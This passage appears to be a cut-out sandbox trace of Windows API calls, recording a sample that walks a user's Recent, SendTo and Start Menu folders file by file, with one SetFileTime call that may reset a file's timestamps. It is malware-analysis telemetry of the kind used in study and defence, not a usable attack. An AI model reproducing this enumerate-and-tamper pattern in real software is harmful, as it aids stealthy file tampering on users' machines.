HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.773] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe07d1d40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe07d1d40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe07d1d40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x155a, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Z5A40A.lnk", cAlternateFileName="")) returned 1 [0088.773] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.773] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z51nBz3.lnk") returned="z51nBz3.lnk" [0088.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.774] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.774] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe344d860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe344d860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe344d860, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa63, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="z78YS7XFVdUaKb.lnk", cAlternateFileName="Z78YS7~1.LNK")) returned 1 [0088.774] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.774] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z5A40A.lnk") returned="Z5A40A.lnk" [0088.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.774] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.774] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5280f80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5280f80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5280f80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a83, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="ztvKTGDJ0jEn-uyj4.lnk", cAlternateFileName="ZTVKTG~1.LNK")) returned 1 [0088.774] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.774] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z78YS7XFVdUaKb.lnk") returned="z78YS7XFVdUaKb.lnk" [0088.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.774] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.775] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d29660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2d29660, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2d29660, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14f2, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="zuW8H21FmcZl_ed02o.lnk", cAlternateFileName="ZUW8H2~1.LNK")) returned 1 [0088.775] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.775] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ztvKTGDJ0jEn-uyj4.lnk") returned="ztvKTGDJ0jEn-uyj4.lnk" [0088.775] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.775] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.775] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0acb8c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0acb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0acb8c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="ZWb7Tn0 E70KMI.lnk", cAlternateFileName="ZWB7TN~1.LNK")) returned 1 [0088.775] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.775] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zuW8H21FmcZl_ed02o.lnk") returned="zuW8H21FmcZl_ed02o.lnk" [0088.775] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.775] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.776] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe607d0c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe607d0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe607d0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1aa0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="_9mDlQdn AFUIXjT.ots.lnk", cAlternateFileName="_9MDLQ~1.LNK")) returned 1 [0088.776] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.776] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZWb7Tn0 E70KMI.lnk") returned="ZWb7Tn0 E70KMI.lnk" [0088.776] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.776] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.776] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18edb60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe18edb60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe18edb60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="_nINIGsZjuZPN.flv.lnk", cAlternateFileName="_NINIG~1.LNK")) returned 1 [0088.776] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.776] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_9mDlQdn AFUIXjT.ots.lnk") returned="_9mDlQdn AFUIXjT.ots.lnk" [0088.776] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.777] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.777] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3342ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3342ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3342ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa0b, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="_zT0Om.lnk", cAlternateFileName="")) returned 1 [0088.777] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.777] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_nINIGsZjuZPN.flv.lnk") returned="_nINIGsZjuZPN.flv.lnk" [0088.777] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.777] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.777] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3342ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3342ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3342ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa0b, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="_zT0Om.lnk", cAlternateFileName="")) returned 0 [0088.777] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.777] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0088.777] lstrcmpA (lpString1=".", lpString2="SendTo") returned -1 [0088.778] lstrcmpA (lpString1="..", lpString2="SendTo") returned -1 [0088.778] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.778] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.781] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.781] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x490000, cFileName="..", cAlternateFileName="")) returned 1 [0088.781] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.781] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.781] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x639ff80f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Compressed (zipped) Folder.ZFSendToTarget", cAlternateFileName="COMPRE~1.ZFS")) returned 1 [0088.781] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.782] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*.*") returned="*.*" [0088.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" [0088.782] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="" [0088.784] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.784] CloseHandle (hObject=0x98) returned 1 [0088.784] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb52ab9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop (create shortcut).DeskLink", cAlternateFileName="DESKTO~1.DES")) returned 1 [0088.784] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.784] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned="Compressed (zipped) Folder.ZFSendToTarget" [0088.784] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" [0088.784] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="" [0088.785] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d828fa3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0088.785] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.785] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned="Desktop (create shortcut).DeskLink" [0088.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" [0088.785] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="" [0088.785] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Documents.mydocs", cAlternateFileName="DOCUME~1.MYD")) returned 1 [0088.785] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.785] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned="Desktop.ini" [0088.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" [0088.785] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="" [0088.786] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d802e42, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Fax Recipient.lnk", cAlternateFileName="FAXREC~1.LNK")) returned 1 [0088.786] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.786] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs") returned="Documents.mydocs" [0088.786] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" [0088.786] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="" [0088.786] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb9ed75, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0088.786] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.786] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb9ed75, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 0 [0088.786] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.786] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0088.786] lstrcmpA (lpString1=".", lpString2="Start Menu") returned -1 [0088.786] lstrcmpA (lpString1="..", lpString2="Start Menu") returned -1 [0088.787] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*.*", 